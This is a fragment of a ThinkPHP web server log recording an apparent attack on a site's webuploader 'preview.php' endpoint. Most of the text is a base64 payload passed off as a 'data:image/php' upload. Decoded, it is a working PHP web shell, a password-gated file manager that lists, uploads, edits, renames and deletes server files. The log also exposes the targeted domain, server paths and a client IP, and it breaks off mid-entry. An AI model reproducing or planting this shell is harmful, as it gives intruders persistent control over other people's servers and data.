'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'public' => 'js', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:28:05+08:00 ] 119.42.146.234 POST 51tianwei.com/web/static//webuploader/0.1.5/server/preview.php [运行时间:0.002653s] [吞吐率:376.95req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'web', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 